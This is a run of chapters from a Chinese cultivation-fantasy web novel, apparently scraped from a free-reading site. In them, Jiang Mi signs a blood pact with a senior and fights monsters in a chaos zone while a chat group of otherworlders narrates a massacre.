“嘭”的一下,房门被大力拍开,紧着就是谷不休火急火燎跑来的身影。 “快快快,我找到了,快把这药给吃……” 看到弯腰站在床前的江弥,谷不休满脸焦急褪去,杀意瞬间爆发,他语气冰冷暴怒:“谁准你进来的?!” 江弥顿住片刻转身,无害地举了下手指,上面沾染着点点血色:“我帮他擦血。” 谷不休的神色并未缓解,一个说错就会对她下死手。 江弥语气平静道:“前几日君学长说给我一百小术分要我待在他附近,我觉得莫名其妙,拒绝了。” 满室杀意在她说完变得剧烈,谷不休刚要矢口否认,忽的想起前几日君慕之确实不对劲,从山下回来后就更不对劲,但他又不说为什么。 谷不休心中疑惑,但还是冷声问:“我问的是,谁准你进来的?” 江弥往旁边退了退,说:“我缺小术分,觉得一天一百小术分很值得,又愿意了。刚才在门外喊君学长没应,我就自己进来了。” 谷不休去看床上的君慕之,额头遍布的黑色纹路有往脸上爬的趋势,情况紧急,顾不及江弥在场,谷不休三两步走到床前,倒出玉瓶的药丸给他喂进去。 但君慕之极其排斥这药,无论谷不休怎么喂都不愿意张口,那纹络已经爬到眉心,他急得身上直冒热汗。 江弥看了全程,道:“我有办法。” “你还没走?”谷不休皱眉,旋即低头看君慕之沉默痛苦的样子,问:“什么办法?” 江弥过去将谷不休手里的药丸拿走,伸手捏住君慕之的鼻子,这行为看得谷不休一怔,还没等他说话,君慕之因为窒息下意识张嘴,江弥手疾眼快地捏开他脸颊将药扔进去,然后捂住嘴迫使他咽下去。 一窜动作行云流水一气呵成。 谷不休立马对她大为改观,满屋的杀意逐渐消解,他动了两下还是好奇问:“他真的要你待在他身边?” 江弥只道:“君学长醒来麻烦帮我说一声,多谢谷学长。” 谷不休看她干脆利落离开,明白他用杀意指着对方将人给惹恼了,随即无所谓耸肩,他又不要这学妹在身边。 两个木屋不过十几步的距离,江弥走出第七步一个腿软栽倒在雪地里,冰凉的雪花渗进衣领,寒冷彻骨。 谷学长的修为远不止七阶。 君慕之在第二日醒来,江弥敲响他房门后盯着那丛绿色看,片刻后门打开,江弥抬眼望去时穿堂风将君慕之的发丝扬起,长长的头发吹到她怀里。 江弥有些错愕,重新端详他的五官,这才从这张俊美的脸上看出那个戴面具的少年影子。 君慕之?大混沌里的少年和预知的少年是君慕之? 君慕之侧身让她进屋,江弥收敛心神,刚要开口,还在里屋的谷不休三两步走来,两人同时看他,谷不休左右看看,后知后觉指着自己:“我出去?” 江弥没说话,君慕之往旁抬脚让了个出去的道。 屋内只剩两人后江弥主动道:“君学长的提议我又思索几番,有些意动,不知是否能还奏效?” 君慕之点头:“当然。” “在此前我有些疑问要向君学长了解清楚,”江弥抬首直视他漆黑眼睛,问道:“君学长为何提出这种需求?若君学长需要人陪,我想谷学长应该会很乐意。” 君慕之迟疑未答。 “那日君学长说我无法掌握‘字’是因为没有神力,但却说得很犹豫。”江弥试探问:“是因为这个,君学长才提出要我在附近的?” 君慕之道:“是。” 心头蓦地涌现要杀人灭口的念头,江弥暗暗呼吸,狠狠压住这股杀意,往后轻轻退了一步。 察觉她的退意,君慕之收敛神色,垂眼道:“你身上,有我母亲的气息。” 正欲拒绝迅速离开的江弥:“?” 她问得小心翼翼:“这话什么意思?” 但说到这里似乎已经是他的极限,君慕之轻抬眼,黑瞳注视她:“不必担心我对你不利,你可界定条约,我们签订神契,无人能违反。” 江弥:“神契是?” 君慕之抬手划破手腕,一缕鲜血从伤口溢出,那血却在空中凝聚成金色小字,他说:“这件事你必须保密。” 江弥:“没问题,那谷学长……” 君慕之:“不必在意他。” 江弥看到“君慕之在契约时限内不能伤害契约者”之后放下心,指着空中小字道:“‘在我身边’这个范围太过笼统,相隔多远?什么频率?若是遇到意外该如何处理?契约时长多久?” 君慕之:“范围不超过一米,一日两刻钟,最久不超过三日,契约时长一年,保密时长无限。” 为什么江弥有种他是来白送经验和装备的错觉。 江弥道:“我也不占君学长便宜,若当日未完成契约,我不收报酬。” 君慕之正欲凝聚神契,江弥忽然道:“既然君学长要我保密,那我也需要学长保密。” 她在金字末尾点了点,说:“君慕之不能泄露契约者的任何消息,保密时长无限。” 江弥以为对方会迟疑或质疑,但君慕之没有细问,直接在最后加上她的要求。 在末尾前按血前她本来还在质疑这种东西的有效性,但两人血液连同金字变成金红色细线钻进大脑时,那种来自灵魂的制约让她不得不相信。 神契成功的一瞬,君慕之本就苍白的唇色越发浅淡。 好歹还要相处一年,江弥忍到第二日才上门问君慕之修行问题。 “我问过其他星修,都没看出问题在哪,”江弥看着消失的星线,收回手道:“他们说的那些星辰之力的感应我也没有,那我的星辰之力是从哪里来的?” 君慕之道:“这要问你自己,你的星辰之力从哪里来?” 不就是…… 江弥忽然顿住,她识界里的三颗星星! 如果她的星辰之力来自吸收后的系统,那岂不是说明,往后阿玲修炼要磕系统,她个星修也要磕系统? 哪那么多系统给她磕? 江弥满脸真诚问:“我这种情况,能转其他道吗?我觉得兵修就挺不错,或者巫修也可以。” 君慕之:“难,易伤及根本。” 江弥失落两秒重新振作,其实也挺好,阿玲吸收系统能量,她这边再回收一次,环保。 此后几天江弥除了去书海楼,其余时间待在天雪峰。 君慕之是个很好的解惑者,他知识丰厚,见闻广博,总能三言两语解答江弥的疑惑,连教习们闭口不提的神相关领域他也不避讳,提到就顺便给她科普一段,就像对他来说,这些跟普通修行知识没什么两样,闹得江弥时常陷入怀疑。 · 远在千里之外的阿玲刚做完任务准备走,忽然被人喊住:“我看你修为不错,怎么不加入散盟会?” 听到散盟会,阿玲回忆游历时听说过的散盟会消息。 这是个大型的散修组织,里面会发布大大小小任务,内部修士接任务,完成后拿佣金,散盟会扣除部分手续。 虽同是接任务,但跟阿玲这种护送、挖药、救小孩的任务完全不是一个量级。 散盟会中最常见的是杀人越货、盗取宝 57. 057 《他们要我成为异世大佬》全本免费阅读 在接完任务后江弥等人立即下了天雪峰。 接受任务的学员大部分在小术院各处,大混沌情况紧急,数名教习在小术院四方召集,江弥和妃绯前往最近的北面。 没多久,江弥随二十多名学员上了灵船。 小术院的灵坤船比启蒙院的灵舟要大,也更气派,上面还有大厅和房间可供休息,坐在里面完全感受不到术纹运转的响动。 灵坤船上的学员神态放松,相互熟悉的聚在一起讨论任务,一致认为只是在外围驻守大混沌就能拿到三百小术分,接到任务的他们走了大运。 “我朋友看到两个大混沌就愣了几秒,回过头一看,任务接满了。哈哈哈,我将令牌给她看,她懊恼地摔令牌,我畅快地大笑。” “可不是,我看到三百小术分想都没想就接了,还好没想,不然可就没我的份。” “这混沌真是越来越频繁,接连两个,啧啧啧!” “管他呢!能拿到小术分就行。” 相较他们的轻松,妃绯担忧又震惊,而江弥更多地是凝重。 这些人不知道大混沌发生什么,她们却能从聊天群里的文字直播得到实况—— 轻抚菊花:“‘夭折’计划开始!” 轻抚菊花:“这个大混沌笼罩面积大约,嗯,十一平方公里,人口两千三百七十五,分散得有点开,有点难找。” 轻抚菊花:“还要和这些魊抢活口,麻烦。我和小伙伴们狩猎比赛,我第二,五十三!继续!” 轻抚菊花:“老子第一!七十一!” 轻抚菊花:“九十八!” 中间夹杂着起哄和叫好声,群中很多隐匿的ID被炸出来,言辞激烈偏激,话语中透出刻骨的恨意和痛快。 这些被逼至阴暗的人变得疯狂而愤恨,这个世界将他们扭曲至此,一旦有人质疑,立马遭到所有人的恶意攻击和怀疑。 “异世者被赶尽杀绝了你还在为他们说话,你是不是被他们收买了?” “你知道天诛院怎么对待异世者吗?活剖!你问那些普通人做错什么?那么你也问问他们,他们做错什么要被这样对待?” “狗日的,管这些吃里爬外的东西做什么?群主把人踢出去!指不定我们在这里说话,这贼子扭头就告诉土著佬!妈的!晦气!” 争吵和怒骂将微弱的反对压下,一片激烈中只剩轻抚菊花简洁的报数。 妃绯有些不敢去看聊天群,她知道异世者处境艰难,却不知道这些同类这么渴望毁灭这个世界。 刚才她就在群里弱弱说了句“这样是不是不好”,接着就被大量抨击骂得再也不敢说话。 下灵坤船时已经有不少学员在那,他们过去汇合,学员们分出了一对跟着三名紫衣修士离开。 在来前教习已经将情况同他们大致说了下: 大混沌的秩序维护原是轮不到他们这群小术院修士来的,但两个混沌降临,严家军调不出那么多人,只能向小术院申请修士支援。 严家军就是江弥刚穿越时看到的三公紫修士,他们归属严家,十三修真世家之一,负责维护修真界秩序。 由于大小混沌肆虐,严家军在人口密集城镇都有据点候命,但太虚大陆地广人稀,顾及所有几乎不可能,所以在有启蒙院、小术院、大术院这种地方会节约人力,在紧急情况下申请教习或术院学生。 江弥被编入一支十人修士小队,跟着三名严家修士前往大混沌外围。 “嘶嘶!” “嘶——江弥!” 江弥听到声音回头,莫题正好和她身后的学员换位,他凑过来笑嘻嘻道:“听说你又欠了一千,有没有什么好点子我们来搞一波?” 江弥:“不感兴趣。” 前面的妃绯回头说:“江弥不欠债。” 莫题嘶了声:“这才几天,你这挣小术分的速度比我发公告还强,你怎么做到的?” 江弥不答反问:“有事即将发生?” 莫题是个靠消息吃饭的,他对消息资讯这类十分敏锐,能让他来到这里,必定是有什么让他感兴趣。 莫题还没说什么,妃绯忽然“啊”了声,他笑着看过去:“看来这位学妹知道点什么?” “我,我不知道。”妃绯连忙摇头,扭过头不敢再参与他们的话题。 莫题前后看了眼,小声说:“两个大混沌相距不过千米,据说不仅严家军,天诛院也派人在那里守着,就凭这个,也能知道即将发生大事。” 江弥问:“什么大事?异世者捣乱?” 妃绯猛地回头看她,莫题注意到,笑着朝她道:“看来妃绯学妹已经从邵家得到确切消息。” “多谢学妹送来的消息。”他朝妃绯抬手道谢,妃绯捂着嘴瞪眼,瞧着无辜又可怜,声音闷闷的:“可是我什么都没说。” 莫题指指她纯澈双眸:“学妹有双会说话的眼睛,不想说谎记得闭上眼睛。” 几句话间他们到了目的地,每支小队负责囚天笼附近的小片地方,十人小队打散围绕囚天笼站守,两名严家军在首尾,一人在中间定期巡逻,若发生什么事,能极快速反应过来。 他们值守的这片有一汪湖水,一半被囚天笼罩进大混沌,另一半暴露在外界,明润的淡金色光芒在结界壁上泛起一圈圈波纹,映照在浅绿色湖水里,很漂亮。 妃绯怕被莫题套出更多消息,主动远离他。 莫题和江弥被分配到湖水旁,莫题低头拿纸笔记录什么,很认真。 值守任务很无聊,江弥将注意力放在阿玲身上。 散盟会不在意修士出身和修为,却会设置一定门槛,加入前必须完成一件任务。 任务并不固定,可能是从任务库中随机抽出一条,也可能是正在发生的大型任务。有人不想完成抽到的任务就会拒绝,过段时间申请加入再重新抽取任务。 负责抽发任务的老人笑呵呵吸了口烟嘴,吐出烟雾,笑呵呵对阿玲道:“你的任务是进入大混沌救一名普通人。” 阿玲诧异:“没有特定人选?” 老人在木桌上敲敲手中铜制烟枪:“普通人,活着的。” 阿玲进一步确认:“会有和我任务内容相反的人?还是难度在于如何进入大混沌?” “这几天都是这个任务,你不做就五天后再来,”老人吸了两口烟摆摆手,“没别的事就走,下一个。” 阿玲退出光线暗淡的木屋。 木屋外是一条生意不错的街道,来来往往的人群中夹杂很多气势不凡的人。 阿玲往外走,任务内容和聊天群中“轻抚菊花”所做之事相反,散盟会也得知大混沌内发生的事,试图阻止这些异世者的疯狂行为。 仅凭这点无法判断散盟会立场。 异世者正在执行“夭折”计划,这消息可能是从聊天群流出,也可能是天诛院已经洞察传达给散盟会。 但能确定的是,这么疯狂又肆无忌惮、还能破析囚天笼的,只会是守望军。 “轻抚菊花”是守望军的人,他通过这种直播方式激起异世者的愤怒和仇恨,从而将散落的异世者拧在一起。 单个异世者无法做成什么,可若是一群,那便是天诛院都要头疼。 阿玲快步在人群穿梭,身侧擦过同样戴兜帽的两人,她疑惑一瞬,扭头望去时两人已经隐入人潮。 崔大? 阿玲转身继续赶路。 湖泊旁的江弥则在沉思。 自从她进入小术院后就没见过崔大,孙柏柔和周三说他在外面做任务挣钱。 黑袍兜帽打扮大都出自散盟会,崔大加入散盟会了?他身边的也是散盟会成员? “看到那个没!”身旁的莫题突然指着不远处疾驰而过二十多名修士,激动朝江弥喊:“苏与商出现了!我就知道这次事情没那么简单!” 最前方的女修一身幽蓝长裙,气质优雅干练,江弥没看清她的脸,只瞥见她衣袖的日月同辉随风翻动,她身后是训练有素的黑衣玄甲。 这群修士只是路过也能感受到他们的肃杀之气。 江弥问:“苏与商是谁?” 莫题左右瞄两眼,确定巡逻的紫衣修士没来,脚下生风跑来:“‘夭折’事件听过没?” 江弥觉得自己不该听过,摇头。 莫题说:“这件事说来还跟苏与商有点关系。天诛院最开始关押的那批异世者被人救走,后来这群人开始四处报复杀人,然后就发生轰动一时的‘夭折’事件。” “他们将混沌里的所有人都灭杀,不管是修士还是普通人,三次,”莫题竖着三根手指,“整整三次,极其残忍。” 后来的事江弥 58. 058-修 《他们要我成为异世大佬》全本免费阅读 囚天笼已经消失,只要走出大混沌的范围就能离开,江弥觉得在此地干等还不如自己动身,可还未行动,前方忽然传来紫衣修士的大喊。 “敌袭!全体戒备!” 声音传至每个学员耳中。 可这些学员不是严家军,没有经历过严格训练,能快速接这份紧急任务的大都是为了小术分。这类修士要么如江弥这样刚入小术院,要么在小术院多年还在底层摸爬,连买心诀的小术分都没有。 即便提前提醒了,还是有很多学员手忙脚乱。 紫衣一人挡住大部分魊,长剑一劈斩首十只,转身却跑来百只,闻着活人气息跑来的魊太多了,他被拖在原地,只能朝他们大喊提醒。 最先反应过来的是莫题。 数十只魊从前方跑来时他率先前了冲去,不知从何处抽出的铁棍横扫,一棍之下震荡的气浪让魊行动一顿,然而却有三只魊一跃而起,躲过莫题这击,尖利的五爪犹如钢刀扫向他。 莫题心道有些难搞,沉重的铁棍猛地一砸,将跃至他头顶的魊击退,而后脚下生风急速后撤,后背陡然发凉,余光后瞥,却见有只魊不知何时跑到他身后。 闪着寒光的青色利爪急速抓来,莫题心道要遭,忽见一道星线飞速窜来,锁住那双即将爪向自己的手臂,星线紧绷陷进青色皮肉,也让他有了喘息的机会。 也是这时,众人反应过来,对扑来的魊展开术势。 莫题后退到江弥面前,单手撑在铁棍上后怕道:“刚才谢了,你的星辰之力恢复得挺快。” 江弥也说:“没想到你会是兵修。” 莫题两手将铁棍使出风声,转身持棍做了个进攻的姿态:“兵修路子少,可不得另辟蹊径。” 说罢高举铁棍朝跑来的魊头顶猛地一挥,如同敲西瓜般脑袋爆开,恶心的碎肉液体飞溅,满是腥臭。 江弥震气将其击退,侧身同莫题背向而立,星线从她脚下延伸展开。 这段时间她一直在沟通自己的星辰之力。 星修的星辰之力来自头顶星辰,映射在识界便是星辰和水,而正常情况,力量也只可能来自真实世界,识界是力量的映射,并非真实。 但江弥的星辰之力却来自识界的银河。 她将这点奇怪之处归咎于系统。 弄清楚力量来源后一直没有熟悉机会,这里的魊刚好拿来给她练手。 地面四散的星线锁住冲来魊脚,魊行动受制的一瞬,江弥捏指成拳,御风冲进魊群,出拳的同时星辰之力炸开,下秒,魊的脑袋被击飞,星线困住的身体倒塌,化作飞灰。 威力比从前暴增十倍,比她预料的强。 江弥心中有了计较,速影逼近另只魊。 魊行动受制,扬声嘶吼着朝她面门扫爪,江弥后仰避开,同时左手往后一拉,指尖星线缠住魊利爪,右手凝聚星辰之力再次爆头。 不待停歇,江弥飞速在魊群中穿梭,魊腐烂狰狞的躯体在周身化作灰烬,身前十来只魊眨眼间被清扫干净。 莫题往后瞥来的目光看到这幕,将铁棍从地上黏黏糊糊的碎肉中拿起,嫌弃地甩了甩道:“没看出来你也这么重口。” 江弥没理他,目光定在魊不断涌向的地方。 前方的嘶吼声中隐约夹杂着修士的惨叫。 江弥皱眉问:“那是前辈所在的地方?” 紫衣修士所在之处几乎被成群的魊包围,后面的魊还在向上攀爬靠近,已经看不见紫衣修士的身影。 莫题抬眼时脸色变得很难看:“应该不会——” “刘泽林你做了什么?!” 骤然响起的惊怒在魊群的嘶吼中显得十分鲜明,叫在场的几名学员都望了过去。 名叫刘泽林的少年一剑刺穿背对他的女孩,被洞穿胸膛的女孩极力想要回头,想问对方为什么这样做,可每下细微动作都牵动着她的胸口,血流不止。 刘泽林眼球动了动,仿佛看到什么令他恐惧到极致的画面,突然失声大吼:“都给我去死!” 他猛地抽回剑,血水喷溅在他脸上,令他看上去如同鬼魅,他也似乎已经疯掉,拿剑对着自己的同伴砍去。 那女孩直直栽倒在地,没了气息。 “刘若!刘若你看清楚!我是阿阳啊!” “停下来,魊在你身后!你别打我你打魊啊!” 学员们忽然对围过来的魊视而不见,转而对身边人拔剑,少数清醒的几人压根不知道发生什么,想上前拉架,却被魊拦住脚步。 看到又一失控学员被魊杀死,江弥御风在闪躲一击后皱了下眉,怎么回事? 她扫视一圈,忽然望向空中漂浮的暗沉——空气中游荡着极小的颗粒,灰色,不细看无法发觉。 就是这些令周遭一切看起来压抑而阴郁。 和她在小混沌看到的金色粒子一样。 “浊气!我竟然连这都忘了。”莫题挥退三只魊后喘了两口,神色有些懊恼:“浊气会侵蚀人心的和精神,待的时间越久越严重,我们必须马上离开。” 江弥用星线割断魊首,退回到他身后问:“目前看来不太现实,没其他办法?” 莫题长叹口气:“谁知道会进大混沌内部?正常出入大混沌前要佩戴清祟香囊,专门用来驱逐浊气。这下真的要完了,我那么多小术分还没用,早知道用来兑换我看中很久的那把长刀了。” 江弥笑了下:“你不是使铁棍的?” 听到她笑莫题回头看了眼,但江弥很快收敛神色,他没看到,有些可惜道:“谁说这是棍?你瞧好了!” 他三两步走到跑来的魊面前,旋身躲过青灰色利爪,手持铁棍中部穿过腋下往后重击,击退魊的同时另只手扣在铁棍上边旋转,从中拆出一把长刀,朝着再次攻来的魊反手刺去。 被刺穿脖颈的魊倒地前,他已经御风冲向下只魊,将一刀一棍重新组合,又变成一把长刀。 莫题声音混杂着嘶吼和利刃穿肉声从后方传来:“这是夹刀棍!不是什么铁棍。” 魊还在不断冲来,紫衣修士已经没了生机,浊气侵蚀心神令学员相互厮杀。 源源不断的击杀让江弥在极短时间内熟练掌握星辰之力,将持刀砍向自己人的学员拉住,再回头,险些遭砍的学员仍旧没躲过一劫,魊拧断了他的脖子。 那只魊的灰瞳内似有流光,江弥对上的一瞬有片刻恍惚,用星线困住的人似乎变成正在对她笑的李二,她下意识松开星线。 “叮”的一声。 莫题长刀横在江弥面前挡住一记暗杀,暗器落地,是一柄柳叶刀。 偷袭的正是江弥用星线困住的学员,他眼珠满是血丝,看两人的目光犹如仇敌。 莫题一脚将其踢飞,旋即长刀翻转,猛地砍向江弥。 对危险的感知令江弥下意识反击,星辰之力与长刀碰撞时发出沉闷的声响,这声响仿佛有醒神之效,江弥睁眼再看去,腥臭和恶鬼遍布,哪里还有李二。 莫题一击之后收手:“清醒了没?” 江弥点头。 莫题摸头望向魊:“我练‘心坚’时可没想过还会帮别人驱散幻觉。” “多谢,”江弥神情认真起来,“不要和魊的眼睛对视。” 莫题气喘道:“别分心啊,会死的。” 江弥:“你也是。” 两人如同离弦之箭反向跃出,冲进了魊群。 两刻钟后。 莫题一刀猛地砍在硬邦邦的骨头上,没砍断,他一脚踹在魊身上,借反作用力御风后撤,同江弥背向而立。 他抹了把脸上的汗,粗喘着气朝她嘲讽大喊:“最开始你怎么说来着?早点出去?” 江弥脸色也很难看,指尖细小的星线犹如游蛇飞窜,顺着青色皮肤向上爬,洞穿那些灰扑扑眼瞳,随后“飞花”倾泻而出,仿佛无数刀片飞割。 然而不等魊被割成碎片,洞穿的灰瞳又恢复光亮,挂着一身腐烂的青色肉块攻来。 “这些魊是不是变强了?” 刚开始的魊她用星线就能剿灭,现在却十分艰难,有些魊的骨头十分坚硬。 莫题甩了甩震得发麻的手臂:“不是它们变强了,而是强的变多了。” 不到十人的学员仅剩他们两人。 江弥向远处眺望,看到不断朝这边聚拢的魊,心头狠狠一跳。 与此同时,大混沌的另一处。 高大的地下空室高大空旷,一面巨大的倾斜石壁耸立,上面刻印着无数复杂的阵纹和图腾,每隔几秒阵纹和图腾就会变化,细看之下令人头晕眼花。 石壁前的唐蜜催促:“动作快点!再拖拖拉拉我拧断你脖子信不信?” 说着她搭在颜西脖颈的两根漆黑手指用力,漆黑顺着指腹爬上他皮肤。 “解阵法需要时间。”颜西被威胁了也只是叹气,一边解析围绕在周身旁人看不见的文字和符号,一边在石壁上探寻,一个个阵纹在他指尖被激活。 泛光的零星纹路仿佛夜色中亮起的萤火。 在唐蜜看来颜西这人十分沉稳,不动如山,却不知颜西此刻正在疯狂呼叫系统:“五三!这又是什么啊!这个阵法我没见过,涉及的知识点超纲了!五三救我!” 就在半刻钟前,接到守望军命令,曾蒙和异世者来大混沌将事情闹大,却在中途遭遇天诛院追杀,他们分散跑开,曾蒙则带着颜西和另外的两名异世者逃跑。 却遇到了滕宝唐蜜等人。 这货二话不说就开打,一个不查颜西被擒! 守望军内部知道颜西的不少,但知道颜西能破析囚天笼的不多,偏偏滕宝就是其一。 妈的! 59. 059 《他们要我成为异世大佬》全本免费阅读 空旷的山洞一瞬间变得拥挤,灰尘与腥臭填充每一处,嘶吼声在地下来回震荡。 魊只会凭着本能追逐活人,陷入魊群的众人被迫应战,砍出的剑气、爆出的术法、星辰之力的展开,每一次都能掀翻一大片魊。 从高空往下看,仿佛湖面不停泛起的水花。 失去玄元阵盘的石壁开始往下掉落石块,整个地下都在摇晃震动。 唐蜜手腕上的铜钱叮当作响,她细眉紧皱,这种时候的危险提醒压根没用,她摘了铜钱手链。 又有三只魊逼近,唐蜜抬手甩出细针,这针呈现黑色,染上手指的毒气,被射中的青色躯体肉眼可见地染上漆黑,皮肉快速枯萎融化。 “没想到还真有人炼成万毒手。” 嘶哑的男生忽然在耳边响起,唐蜜猛地一惊,什么时候过来的,接着一股大力将她推进魊群,余光只瞥见那张被火烧得毁容可怖的脸。 毁容男看着唐蜜在魊群中挣扎无法过来,飞速掠身到颜西身侧,石壁脱落的硕大落石坠下,颜西刚准备凝聚阵纹阻拦就被毁容男隔空锤爆。 碎石和滚滚烟尘从天而降,模糊了众人视线。 唐蜜抬手按在张嘴欲咬来的魊额上,看它腐化成一滩后回头看去,尘土中哪里还有颜西? 她立即明白过来,朝滕宝的方向大喊:“异世者要带走颜西!” 蒋敏听到异世者猛地抬头,差点被魊薅了脑袋,心惊肉跳地灵活闪躲。 而与莫题背靠背作战的江弥则是听到颜西名字,她绞碎一颗魊首后往声源处望去,见到苦战的唐蜜,以及不远处在魊群中杀出一条出路的两人,他们正往出口赶去。 灰发青年早已在混乱中退至出口,曾蒙朝滕宝劈出一剑后丝毫不恋战,在魊群中用凌厉剑势杀至出口。 滕宝避开这击,扶着胸口撑着长剑站起,守望军几人都在往出口聚集,再不阻拦就要跑了。 他猛地吐出一口气,石壁已经毁坏,里面的玄元阵盘下落不明,十有八九被颜西拿走。 如今就算不是他拿的,也必须是。 滕宝朝在魊群中奋战的数人道:“大混沌神品玄元阵盘在颜西手里,不能让他离开!” “玄元阵盘?滕哥哥,这里有玄元阵盘?”扶尧朝即将遁走的曾蒙几人望去,手腕猛的一甩,长鞭的末端五节陡然长出长刺,她抖腕甩飞暮云身前的魊,朝她道:“你去拦,这里交给我。” 暮云点头,变成一道影子在魊群穿梭。 与此同时,邵安也听到玄元阵盘下落,将晕厥过去的妃绯放在地上,从怀里取出一只八卦盘,将其放在妃绯手里,激活出结界后伸手捏了下她的脸,没什么好脾气的脸上带了丝笑:“我马上回来。” 出口地势偏高,是个易守难攻的地方,魊行动不便,灰发青年爬上洞口后反倒成了全场最轻松的,他在洞口周围布置好引爆物。 紧随其后的曾蒙砍飞洞口的魊,满身血气和腥气爬上来,粗喘着气问:“怎么样?” 灰发青年按住流血不止的手,阴沉地盯着同魊作战的藤宝,冷声道:“就算炸不死他们,将他们困在这地底也够了。” 曾蒙靠在洞口逡巡,忽然直起身:“不好!” 灰发青年也心头一跳,就见那毁容男带着颜西行动受限,他轰出的一拳打在骨头特别坚硬的魊身上,没将其击退,反而被飞速赶来的暮云拦了下来。 颜西不善战,为了防止被魊攻击,他们四周凝聚着防御阵纹,却也同时影响了毁容男的攻击效果。 毁容男在踢飞骨头坚硬的魊后同暮云缠斗起来。 暮云的目标是颜西,毁容男是如何都不能将颜西交出去,他朝身后喊道:“快走!” 颜西沉默一瞬,施展乘风术在魊群中闪躲起来。 但这人偏科得实在厉害,平时他就是个被保护起来的角色,需要他战斗的机会几乎没有,被阵法堆起来的七阶施展乘风术,却还不如四阶灵活机敏的蒋敏。 魊的利爪在他后背抓出一道血口,颜西身形仓皇地躲过一劫,但此时邵安已经赶来,长剑即将砍到颜西时,同暮云作战的毁容男借着暮云的攻势飞来,一把推开颜西,邵安的那一剑陷进他肩胛。 颜西惊震,也在此时,提速赶来接应的曾蒙到了。 毁容男双手抱住邵安的剑对身后的曾蒙道:“你们,走,别管我了。” 没有犹豫,曾蒙直接拎着颜西往洞口撤去,邵安拔剑欲追,毁容男大吼着抓住邵安的剑制住他的动作。 速影而来的暮云见到这幕停顿下来。 长剑陷进毁容男皮肉卡在骨头间,一动便血流如注,他痛得仿佛被高温融化的脸蠕动成一团,十分难看,可耷拉的眼皮下透出的神情带着必死的决绝,还有对一切的绝望和憎恨。 暮云闪身上前,按住毁容男腰背手臂的穴道,他便再也使不上力,他伤得太重,暮云没多费力就扭断了他的脖子。 邵安重新恢复行动,却已赶不上快到洞口的曾蒙,他高高举起长剑,天地之气汇聚在剑身形成白亮刺眼的光。 剑术·裂天三式。 光芒在山洞里炸开,也在同时,洞口隐藏的爆炸接连响起,整个地下都在摇晃,头顶不断落下灰尘石头,震动停止时,山洞在尘土中坍塌。 众人完全顾不上玄元阵盘,四处找地方躲避。 蒋敏灰头土脸地四处逃窜,见到满天灰尘中闪烁着结界的亮光,加速跑去,发现那里已经坐了几人。 长相可爱的女孩身体染血地晕倒在地,八卦阵盘展开的结界将她保护在里面。 结界旁,坠落的巨大石板恰好同石壁夹成三角,结界就在出口处,拦住大半空间,里面形成密闭的安全空间。 蒋敏闪身进来时一下子接收到数道目光,探究的视线盯得她头皮发麻,立即举起手:“我只是来避避。” 没人反对,她便往里找了个远点的地方坐下。 蒋敏之后又来个女孩,一身紫裙蒙尘,上面还沾染着黑黑绿绿的液体,蒋敏身上也有,那是魊的黏液,又臭又恶心,忽然就想干呕了。 唐蜜进来看到滕宝和扶尧,刚准备问什么情况,抬眼瞥见一人惊讶出声:“江弥?你怎么在这?” 坐在江弥身旁的莫题看看飞扬走来的唐蜜,又看看脸色差到极致的江弥,低声问:“仇人?” 江弥无语看他眼,朝过来的唐蜜道:“你也被莫名牵扯进来的?” “我应该不是你说的这种情况,”唐蜜忽然蹲下来认真端详江弥,不可置信道,“你进阶了?!” 这一声喊让滕宝和扶尧也看过来,上次在食堂看到她还是三阶,这才几天? 唐蜜在江弥身边坐下来,按住裙摆凑到她身边压低声音问:“你到底怎么修炼的,不到一个月升一阶,是不是有什么秘诀?” 江弥按了下抽痛的左眼,指了指外面,没什么力气道:“把你扔进一堆打不完魊中,你也能进阶。” “这东西就是你们带来的?”唐蜜震惊。 莫题非常不赞同这种说法:“该我们问,谁把我们弄来这里?这是哪里?你刚才话里的意思,你和我们不一样,这是你做的?” 蒋敏立即竖起耳朵偷听,到现在她还是云里雾里的。 她是小术院前来值守的学员之一,莫名遇到大混沌外溢不说,好不容易找到出去的路,就要离开大混沌了,结果眼前一晃就掉进这里,在一堆魊群里求生。简直无语,她招谁惹谁了! 唐蜜轻咳两声,真要说的话,还真是他们搞出的事,此时又有两人进来,她借机起身走到滕宝身边。 进来的是差点被洞口的爆炸席卷的邵安和暮云。 邵安捏诀进入结界,移动八卦阵盘堵住入口,杜绝外面的魊进来。 暮云进来后直接走到扶尧身边汇报外面情况:“山洞倒塌一半,刚好将洞口堵死了,好消息是魊死了八成,不是被掩埋就是被落石砸死,坏消息是,活下来的魊杀伤力和攻击力都比普通魊强。” “谁能说清楚现在是什么情况?”邵安坐在结界内朝安全区的几人扫视,语气里压抑着怒火:“我现在就能让这些魊进来,我能待在结界里,你们能坚持多久?” 邵安听到妃绯进 60. 060 《他们要我成为异世大佬》全本免费阅读 蒋敏能从小混沌中出来并活到现在,必然是聪颖的。 但她的谨慎只针对太虚大陆的人,对异世者却有着下意识的信任。 上次在群中分享食物的就是“我太帅了”,接着妃绯说小术院也是这样的菜。 有心人很轻易就锁定这两人在小术院。 但蒋敏聪明的一点在于,她察觉出群中对此反应异常后特别小心,不再过多暴露自身信息。 群里还在刷着无意义的闲聊,轻抚菊花很久没说话,大家都在问他是否还活着。 “没带药?”莫题往江弥怀里扔了支玉瓶,还不忘找她要小术分:“算你交过命的友谊价,两倍。” “两倍是多少?”江弥倒出颗碾碎按在伤口上,片刻后血水止住,伤口的痛楚却变得剧烈。 莫题伸出两根指头:“二十。” 江弥:“奸商。” “喂喂,话不能这么说,你知道这种时刻一般人会收多少吗?五十!”莫题低声问:“还要吗?顶多给你再匀一瓶。” 江弥:“只有止血效果,还不含镇痛治愈,这种残次品最多五个小术分。” 孙柏柔在医署做出这类药通常都是直接销毁,不被纳入合格的范畴。 莫题惊讶道:“居然只要五个小术分?亏了亏了,你在医署有熟人?我俩都过命的交情,介绍我认识怎样。” 江弥不理他,凝聚水术清理身上脏污。 她低眉沉思,这次眼睛发病的次数和时长比以往任何一次都要厉害,几次令她陷入危机,失去一半视野造成的影响比她想象的大。 左眼发作时她和阿玲同感,不是因为从某一具躯体传来的通感令两边同时感知,而是脱离于身体的痛苦。 作用于灵魂吗? 聊天群内再看不出其他信息,蒋敏抬眼环顾四周,这里的人她只对邵安和滕宝有点印象,这还是她背书时听旁边正在八卦的女孩们提的。 谁能想象得到,她一个叛逆的高四生,每天在课堂上只知睡觉的吊车尾,会在短短三年内蜕变成次次考核成绩满分的学霸! 无他,她的学霸系统只许进步,不许退步。 